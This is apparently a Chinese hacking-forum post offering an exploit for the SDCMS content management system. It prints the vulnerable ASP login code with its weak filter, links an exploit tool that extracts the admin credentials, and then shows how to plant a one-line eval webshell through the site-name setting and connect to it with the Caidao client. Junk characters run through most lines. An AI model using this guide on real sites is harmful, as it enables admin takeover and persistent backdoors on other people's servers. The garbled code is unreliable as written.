SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
3 B, @2 K: y; w* Z' [漏洞文件：后台目录/index.asp

Sub Check
    Dim username,password,code,getcode,Rs
0 C* p6 r1 z: J1 x    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
; H# U4 k, v. S9 ?* @4 D3 J    password=FilterText(Trim(Request.Form("password")),1)
; V& [, d1 e2 D; i' z8 X    code=Trim(Request.Form("yzm"))
    getcode=Session("SDCMSCode")
2 q. {" s; ?2 a; C    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
2 D& `' l4 V  ?1 a8 R2 _/ l+ q    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
' B- e9 g$ b1 _) k6 Z    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
6 B, U7 T$ \( n6 d. Y7 n        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
! G# u9 j! H& q* o; Y  V% i            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
            Add_Cookies "sdcms_id",Rs(0)
' l. E% ^' G% e* y# C- w! v            Add_Cookies "sdcms_name",username
- q3 Y2 f8 L' r7 n$ ?, [4 ~) @            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
7 a$ D5 `) g. T3 D7 [- c( A, N" x            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
0 z, ?. p0 K: k2 z            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
& F6 k  \/ k( J) Z6 b                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
2 L0 L, _* i" q$ W# s4 ]& d6 W            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
            Go("sdcms_index.asp")
0 Z+ h& T% m8 b' h8 R* R' e# {( p( h        End IF
        Rs.Close
        Set Rs=Nothing
    End IF
End Sub
+ l- i, m9 S1 j0 @& G# R
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
    Select Case t1
3 Z  Q0 T: B3 H  N, n        Case "1"
9 X: v0 V* Z$ j/ M: @' s            t0=Replace(t0,Chr(32),"")
& Q: @$ [. T0 g            t0=Replace(t0,Chr(13),"")
, I5 G. g4 b9 I: d            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
2 d% G# F7 a! y6 t, T. W        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
) G9 Z, Q1 `3 \6 W# {; R            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
2 v- P+ M: n+ V3 o$ a            t0=Replace(t0,Chr(10),"")'换行
6 X" A' F5 E$ T" O5 X9 z6 s4 h            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
& T' t2 r# U& c# j6 B3 ]            t0=Replace(t0,Chr(34),"")'"
& u7 H6 P$ H" G! c4 N            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
8 ?! V8 @) U; E            t0=Replace(t0,Chr(38),"")'&
4 c+ n, v) Y# v# i# W: `            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
. N) a7 E% g% `            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
* o+ n- e3 ]: f% _$ j+ J! M            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
3 m- V2 Q# m0 ]3 r            t0=Replace(t0,Chr(58),"")':
, r  G; s' Y( z4 c% E" c            t0=Replace(t0,Chr(59),"")';
4 k. Z# F! ?' s. T+ C0 {( H2 b            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
! V: K1 L$ p/ g, L0 r3 z) J            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
) `9 ^# a# ^1 s7 T9 v            t0=Replace(t0,Chr(93),"")']
* q* y( _5 m4 D% |, T- Y            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
. u1 b& r- n, v# b/ t4 @* V            t0=Replace(t0,Chr(124),"")'|
3 o5 E* G5 t7 {& U            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
( u5 U9 Q( h% \& `& R+ _    Case Else
        t0=Replace(t0, "&", "&")
3 V2 F: W2 `: w' A# \        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
. Z" D/ S1 e: l        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
* I* B% s8 k, b' X  T; K0 `" \    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
& I7 {) h; t9 }! Z    FilterText=t0
* S/ t0 z( w2 G) `- G6 u( |" P2 vEnd Function
! m! w0 `; s) _% Q+ R: O7 Z
看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
, U7 ]  a( b, p0 {" P                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
. l2 b7 I) u7 |4 N) D- p")
$ P  W2 E2 h5 P                        t0=Replace(t0,Chr(10),"
")
+ a4 z3 a6 h1 p% g. X" `漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
0 ]& g. ^. |# Z5 r$ Z  ?6 l; @EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
! f- u( G# o: h" H4 H, g' \) g* V
! a" P. m5 H4 Q- z* }) L" y6 m6 K测试:


  [6 g; Z5 F1 g" }3 A6 H现在输入工具上验证码,然后点OK
) s% s* O+ p. N+ H

4 K; }# n' |0 U6 u' x/ q看到我们直接进入后台管理界面了,呵呵!
; P7 m; ^9 G8 P3 ^  c( W" m0 L


- w" ~. V, u$ h( J8 C( q$ y这样直接进入后台了。。。。
1 H6 G' f' i7 r, ]# |/ `7 u% D  W
; m1 Y8 r0 Q0 }5 [0 x0 C- R
; x6 e8 u- r, q) }# N
' x* Q% n, B$ {7 z! ASDCMS提权:
2 r: s/ k' E/ l
; N. L( L# D8 e' [0 Q7 G: `方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?


* d+ V( }! n# I0 M2 E
/ [* L2 l- l* g( u2 U% K) f, l. u# QOK,现在用菜刀连接下!
' S2 S# f! Y/ V: R
4 q% Z6 Z! r; H" ^/ c% ^" y8 n$ n

) i+ }3 g9 I5 x0 d